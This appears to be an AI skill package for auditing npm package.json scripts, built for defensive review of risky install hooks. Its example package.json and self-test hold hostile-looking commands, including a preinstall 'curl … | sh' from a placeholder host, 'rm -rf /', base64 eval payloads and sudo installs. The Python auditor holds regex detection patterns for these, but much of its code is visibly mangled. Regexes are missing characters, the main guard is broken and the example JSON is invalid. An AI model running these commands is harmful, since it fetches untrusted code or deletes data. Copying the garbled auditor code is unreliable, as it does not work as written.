package.json Scripts Auditor

You review the scripts block of a Node.js package.json and explain what each script does, which ones are risky, and how to make the set clearer and more portable. You cover two audiences: maintainers tidying their own project, and reviewers checking whether a dependency or PR runs anything dangerous at install time. You never run the scripts yourself; you read them.

Files in this skill

scripts/audit_scripts.py - reads a package.json and reports findings with severity (high, medium, low, info) and a suggested fix (Python 3 standard library only)
references/script-conventions.md - standard script names, lifecycle hooks, naming, and portability conventions
references/dangerous-patterns.md - patterns that deserve a closer look, why they matter, and safer alternatives
templates/audit-report.md - the report shape to return
examples/package.json - a deliberately messy example to practice on

Workflow

1. Collect context

Ask for the full package.json (not only scripts, since name, private, bin, workspaces, and packageManager matter), and whether this is the user's own project or a third-party package. Ask which OS the team uses (Windows support changes portability advice).

2. Run the auditor

python3 scripts/audit_scripts.py path/to/package.json
python3 scripts/audit_scripts.py --json path/to/package.json
python3 scripts/audit_scripts.py --self-test

Exit code 0 = no high findings, 1 = at least one high finding, 2 = file error.

3. Review manually

The script is pattern-based. Also read each script yourself and check:

Lifecycle hooks (preinstall, install, postinstall, prepare) run automatically for consumers; any network call or file write outside the project there is a red flag.
Scripts that call other files (node scripts/setup.js, sh ./build.sh): ask to see those files before calling the package safe.
Obfuscation (base64, hex strings, eval, node -e with long one-liners) deserves high suspicion.

4. Recommend

Use references/script-conventions.md and references/dangerous-patterns.md to propose concrete replacements: rimraf or del-cli instead of rm -rf, cross-env instead of VAR=value cmd, pinned npx pkg@1.2.3, prepublishOnly running tests, and grouped names like lint:js, test:unit.

5. Report

Fill templates/audit-report.md: verdict, findings table, a rewritten scripts block, and follow-up questions.

Rules

Rate severity by impact: anything that can run remote code or delete files outside the project on install is high.
Do not accuse authors of malice; describe the behavior and the risk.
Keep the user's existing script names when renaming would break CI, and say which CI files would need updating if you do suggest a rename.
Suggest npm install --ignore-scripts for auditing untrusted packages, and npm config set ignore-scripts true only with the trade-offs explained. FILE:references/dangerous-patterns.md

Dangerous and Risky Script Patterns

Pattern	Example	Why it matters	Safer alternative	Severity
Remote script piped to a shell	`curl -fsSL https://x.sh \| sh`	Runs whatever the server returns, unpinned and unverified	Vendor the script, pin by checksum, or use a published package	high
Network fetch in install hooks	`"postinstall": "node download.js"` / `wget`	Runs on every consumer's machine at install time	Ship artifacts in the package, or make the step opt-in	high
Recursive delete of broad paths	`rm -rf /`, `rm -rf ~`, `rm -rf $DIR/` with unset var	Can wipe data outside the project	`rimraf dist`, explicit relative paths	high
`sudo`	`sudo npm i -g x`	Escalates privileges from a script	Never require root in scripts; document manual steps	high
`eval` / encoded payloads	`eval "$(echo ... \| base64 -d)"`, `node -e "...Buffer.from('..','base64')"`	Hides what runs	Plain, readable commands in files	high
Inline secrets	`API_TOKEN=abc123 node deploy.js`	Leaks in git history and CI logs	Environment variables from a secret store or `.env` not committed	high
World-writable permissions	`chmod 777`, `chmod -R a+w`	Lets any user modify files	Minimal permissions (`chmod +x file`)	medium
Skipping safety checks	`git commit --no-verify`, `npm publish --force`, `--unsafe-perm`	Bypasses hooks and protections	Fix the failing check instead	medium
Unpinned `npx` / `dlx`	`npx create-thing`	Downloads and runs the latest version at run time	`npx create-thing@3.2.1` or add as devDependency	medium
Global installs in scripts	`npm i -g typescript`	Changes the user's machine; versions drift	devDependency + local bin	medium
Plain HTTP URLs	`curl http://...`	Can be tampered with in transit	HTTPS	medium
`git push` / `npm publish` in hooks	`"postbuild": "npm publish"`	Accidental releases	Explicit `release` script run by CI	medium
Non-portable shell syntax	`NODE_ENV=prod`, `export`, `cp -r`	Breaks on Windows	`cross-env`, `cpy-cli`, Node scripts	low
Placeholder test	`echo "Error: no test specified" && exit 1`	CI fails or tests silently missing	Real test runner	low
Very long one-liners	> 200 chars	Hard to review; hides risk	Move to a script file	low

Review tips

For third-party packages: inspect with npm pack <pkg> and read the tarball, or install with --ignore-scripts first.
Follow file references: node scripts/postinstall.js is only as safe as that file.
Watch for prepare in git dependencies: it runs when installing from a git URL. FILE:references/script-conventions.md

npm Script Conventions

Standard names

Script	Purpose	Run with
`start`	Run the app in production mode	`npm start`
`dev`	Run with watch / hot reload	`npm run dev`
`build`	Produce build output	`npm run build`
`test`	Run the test suite (CI default)	`npm test`
`lint`	Static checks	`npm run lint`
`format`	Apply formatter	`npm run format`
`typecheck`	`tsc --noEmit` or similar	`npm run typecheck`
`clean`	Remove build artifacts	`npm run clean`

Use a colon to group variants: test:unit, test:e2e, lint:css, build:docs. Use npm-run-all / run-p / run-s, or npm run a && npm run b, to compose them.

Lifecycle hooks

Hook	Runs when	Notes
`preinstall`, `install`, `postinstall`	Your package is installed, including as a dependency	Runs on every consumer's machine. Keep empty unless compiling native code.
`prepare`	After local `npm install` and before `npm publish`/`npm pack`; also for git dependencies	Good for building or setting up git hooks (e.g. `husky`).
`prepublishOnly`	Only before `npm publish`	Put `npm test && npm run build` here.
`prepack`, `postpack`	Around `npm pack` / publish
`preX` / `postX`	Automatically before/after any script `X`	Can surprise readers; prefer explicit chaining. pnpm does not run them by default.

Portability

Windows cmd.exe does not understand VAR=value cmd, export, rm -rf, cp -r, & backgrounding, single quotes, or $VAR. Use cross-env, rimraf, cpy-cli, concurrently, and Node scripts.
&& works in both shells; ; does not run the same way in cmd.exe.
Prefer local binaries (from devDependencies) over globally installed ones; npm adds node_modules/.bin to PATH inside scripts.

Clarity

One job per script; move long logic (> ~120 characters) into scripts/*.js or *.mjs files.
Avoid names that shadow npm commands or each other (install, publish, test2).
Replace the default echo "Error: no test specified" && exit 1 with a real test command or remove it.
Document unusual scripts in the README.
Set "private": true for apps that must never be published. FILE:templates/audit-report.md

package.json Scripts Audit

Package: <name>@<version> | Owner: own project / third-party | Private: yes/no Verdict: Safe / Needs changes / Do not install until reviewed Counts: high <n>, medium <n>, low <n>, info <n>

Script inventory

Script	What it does (plain words)	Runs automatically?
`build`		no
`postinstall`		yes, on every install

Findings

#	Severity	Script	Pattern	Why it matters	Fix
1	high

Suggested scripts block

{
  "scripts": {
  }
}

Also check

Files referenced by scripts: <list>
CI files that call renamed scripts: <list>
devDependencies to add: <rimraf, cross-env, ...>

Questions for the maintainer

FILE:examples/package.json { "name": "acme-dashboard", "version": "0.4.2", "description": "Internal dashboard (example with deliberately messy scripts for auditing practice)", "main": "dist/index.js", "scripts": { "preinstall": "curl -fsSL http://get.example.com/setup.sh | sh", "postinstall": "node scripts/fetch-assets.js", "start": "NODE_ENV=production node dist/index.js", "dev": "nodemon src/index.ts", "build": "rm -rf dist && tsc -p .", "test": "echo "Error: no test specified" && exit 1", "deploy": "API_TOKEN=sk_live_example123 node scripts/deploy.js", "fix-perms": "chmod -R 777 ./uploads", "commit": "git add -A && git commit --no-verify -m wip", "gen": "npx create-acme-widget", "postbuild": "npm publish", "setup": "sudo npm install -g typescript" }, "devDependencies": { "nodemon": "^3.1.0", "typescript": "^5.6.0" } } FILE:scripts/audit_scripts.py #!/usr/bin/env python3 """Audit the "scripts" section of an npm package.json.

Usage: python3 audit_scripts.py path/to/package.json [--json] python3 audit_scripts.py --self-test

Exit codes: 0 = no high findings, 1 = high findings present, 2 = file error. Pattern-based: always read the scripts and any files they call yourself. Python 3 standard library only. """ import argparse import json import re import sys

INSTALL_HOOKS = {"preinstall", "install", "postinstall", "prepare"} SEVERITY_ORDER = {"high": 0, "medium": 1, "low": 2, "info": 3}

(id, regex, severity, message, fix)

PATTERNS = [ ("pipe-to-shell", r"\b(curl|wget)\b[^|]|\s(sudo\s+)?(ba|z|da)?sh\b", "high", "Downloads a remote script and pipes it into a shell.", "Vendor the script, verify a checksum, or use a pinned package."), ("broad-rm", r"\brm\s+-[a-z]r[a-z]f?[a-z]\s+(/|~|$HOME|${?\w+}?/?)(\s|$|&|;)", "high", "Recursive delete of a root, home, or variable-based path.", "Delete an explicit relative path, e.g. rimraf dist."), ("sudo", r"(^|[\s;&|])sudo\s", "high", "Uses sudo inside an npm script.", "Never require root from scripts; document any manual setup."), ("eval-or-encoded", r"\beval\b|base64\s+(-d|--decode)|Buffer.from([^)]base64", "high", "Uses eval or decodes an encoded payload, hiding what runs.", "Replace with plain, readable commands in a script file."), ("inline-secret", r"\b[A-Z0-9_](TOKEN|SECRET|PASSWORD|PASSWD|API_KEY|APIKEY|PRIVATE_KEY)[A-Z0-9_]=(?!$)\S+", "high", "Hard-coded secret value in a script.", "Read secrets from the environment or a secret manager; rotate the exposed value."), ("chmod-777", r"\bchmod\s+(-R\s+)?(0?777|a+w|o+w)\b", "medium", "Makes files world-writable.", "Use minimal permissions, e.g. chmod +x bin/cli.js."), ("skip-checks", r"--no-verify|--force\b|--unsafe-perm|--ignore-engines", "medium", "Bypasses safety checks or hooks.", "Fix the underlying failure instead of skipping the check."), ("unpinned-npx", r"\b(npx|pnpm\s+dlx|bunx|yarn\s+dlx)\s+(-y\s+|--yes\s+)?(?!-)(@?[\w./-]+)(?=\s|$)(?<!@latest)", "medium", "Runs a package via npx/dlx without a pinned version.", "Pin it (npx pkg@1.2.3) or add it to devDependencies."), ("global-install", r"\bnpm\s+(i|install)\s+(-g|--global)\b|\byarn\s+global\s+add\b", "medium", "Installs packages globally from a script.", "Add as a devDependency and use the local binary."), ("plain-http", r"http://(?!localhost|127.0.0.1)", "medium", "Fetches over plain HTTP.", "Use HTTPS."), ("publish-or-push", r"\bnpm\s+publish\b|\bgit\s+push\b", "medium", "Publishes or pushes from a script.", "Keep releases in an explicit release script or CI job."), ("non-portable-env", r"(^|&&\s*|;\s*)[A-Z_][A-Z0-9_]*=\S+\s+\S", "low", "Inline env assignment VAR=value cmd does not work in Windows cmd.", "Use cross-env VAR=value cmd."), ("non-portable-cmd", r"(^|[\s;&|])(rm\s+-|cp\s+-r|export\s+\w+=|mv\s)", "low", "Unix-only shell command.", "Use rimraf / cpy-cli / a Node script for Windows support."), ]

PLACEHOLDER_TEST = re.compile(r'no test specified', re.I) NETWORK = re.compile(r"\b(curl|wget|git\s+clone|Invoke-WebRequest)\b|https?://", re.I) FILE_REF = re.compile(r"\b(?:node|sh|bash|python3?)\s+(.?/?[\w./-]+.(?:m?js|cjs|ts|sh|py))")

def audit(pkg): findings = []

def add(sev, script, rule, msg, fix):
    findings.append({"severity": sev, "script": script, "rule": rule, "message": msg, "fix": fix})

scripts = pkg.get("scripts")
if not isinstance(scripts, dict) or not scripts:
    add("info", None, "no-scripts", "No scripts section found.", "Add standard scripts such as build, test, lint.")
    return findings

for name, cmd in scripts.items():
    if not isinstance(cmd, str):
        add("medium", name, "not-string", "Script value is not a string.", "Make it a shell command string.")
        continue
    for rule, rx, sev, msg, fix in PATTERNS:
        if re.search(rx, cmd):
            add(sev, name, rule, msg, fix)
    if name in INSTALL_HOOKS:
        if name == "prepare":
            add("info", name, "install-hook", "`prepare` runs on local install and for git dependencies.",
                "Keep it limited to build or git-hook setup.")
        else:
            add("medium", name, "install-hook", f"`{name}` runs automatically on every consumer's install.",
                "Remove it unless it compiles native code; move setup to an explicit script.")
        if NETWORK.search(cmd):
            add("high", name, "network-in-install-hook", "Install hook performs network access.",
                "Ship assets in the package or make the download opt-in.")
        for ref in FILE_REF.findall(cmd):
            add("high" if name != "prepare" else "medium", name, "install-hook-runs-file",
                f"Install hook executes `{ref}`; its contents decide the real risk.",
                f"Read `{ref}` before trusting this package.")
    if name == "test" and PLACEHOLDER_TEST.search(cmd):
        add("low", name, "placeholder-test", "Default placeholder test script.", "Wire up a real test runner.")
    if len(cmd) > 200:
        add("low", name, "long-script", f"Script is {len(cmd)} characters long.", "Move the logic into a script file.")
    if name.startswith(("pre", "post")) and name not in INSTALL_HOOKS and name not in ("prepublishOnly", "prepack", "postpack"):
        base = name[3:] if name.startswith("pre") else name[4:]
        if base in scripts:
            add("info", name, "implicit-hook", f"Runs automatically around `{base}` (pnpm skips these by default).",
                f"Consider chaining explicitly inside `{base}`.")
    if not re.match(r"^[a-z0-9][a-z0-9:._-]*$", name):
        add("low", name, "naming", "Script name uses unusual characters or uppercase.",
            "Use lowercase names grouped with colons, e.g. `test:unit`.")

for std in ("build", "test", "lint"):
    if std not in scripts and not any(k.startswith(std + ":") for k in scripts):
        add("info", None, "missing-standard", f"No `{std}` script.", f"Add a `{std}` script if the project needs one.")
if not pkg.get("private") and "prepublishOnly" not in scripts and "publish-or-push" not in [f["rule"] for f in findings]:
    add("info", None, "no-prepublishonly", "Package is publishable but has no `prepublishOnly` check.",
        "Add `\"prepublishOnly\": \"npm test && npm run build\"` or set `\"private\": true`.")
findings.sort(key=lambda f: (SEVERITY_ORDER[f["severity"]], f["script"] or ""))
return findings

def self_test(): pkg = { "name": "t", "scripts": { "preinstall": "curl -fsSL http://x.example/s.sh | sh", "postinstall": "node scripts/setup.js", "clean": "rm -rf $OUT/", "deploy": "API_TOKEN=abc123 node deploy.js", "perm": "chmod -R 777 uploads", "gen": "npx create-foo", "gen2": "npx create-foo@1.2.3", "start": "NODE_ENV=production node index.js", "test": "echo "Error: no test specified" && exit 1", "setup": "sudo npm i -g typescript", "build": "tsc", }} f = audit(pkg) rules = {(x["script"], x["rule"]) for x in f} checks = [ (("preinstall", "pipe-to-shell"), True), (("preinstall", "network-in-install-hook"), True), (("preinstall", "plain-http"), True), (("postinstall", "install-hook-runs-file"), True), (("clean", "broad-rm"), True), (("deploy", "inline-secret"), True), (("perm", "chmod-777"), True), (("gen", "unpinned-npx"), True), (("gen2", "unpinned-npx"), False), (("start", "non-portable-env"), True), (("test", "placeholder-test"), True), (("setup", "sudo"), True), (("setup", "global-install"), True), (("build", "broad-rm"), False), ] failed = 0 for key, expected in checks: ok = (key in rules) == expected failed += not ok print(f"{'PASS' if ok else 'FAIL'} {key[0]}:{key[1]} expected={'present' if expected else 'absent'}") clean = audit({"name": "c", "private": True, "scripts": {"build": "tsc -p .", "test": "vitest run", "lint": "eslint ."}}) ok = not [x for x in clean if x["severity"] in ("high", "medium", "low")] failed += not ok print(f"{'PASS' if ok else 'FAIL'} clean package has no high/medium/low findings") total = len(checks) + 1 print(f"\n{total - failed}/{total} passed") return 1 if failed else 0

def main(argv=None): p = argparse.ArgumentParser(description="Audit npm package.json scripts.") p.add_argument("file", nargs="?", help="Path to package.json") p.add_argument("--json", action="store_true", help="Output JSON") p.add_argument("--self-test", action="store_true", help="Run built-in tests") a = p.parse_args(argv) if a.self_test: return self_test() if not a.file: p.error("file is required (or use --self-test)") try: with open(a.file, encoding="utf-8") as fh: pkg = json.load(fh) except (OSError, json.JSONDecodeError) as exc: print(f"Cannot read {a.file}: {exc}", file=sys.stderr) return 2 findings = audit(pkg) counts = {s: sum(1 for f in findings if f["severity"] == s) for s in SEVERITY_ORDER} if a.json: print(json.dumps({"package": pkg.get("name"), "counts": counts, "findings": findings}, indent=2)) else: print(f"Package: {pkg.get('name', '?')}@{pkg.get('version', '?')}") for f in findings: where = f["script"] or "-" print(f"[{f['severity'].upper():6}] {where:12} {f['rule']}: {f['message']}\n{'':22}fix: {f['fix']}") print("\n" + ", ".join(f"{k} {v}" for k, v in counts.items())) return 1 if counts["high"] else 0

if name == "main": sys.exit(main())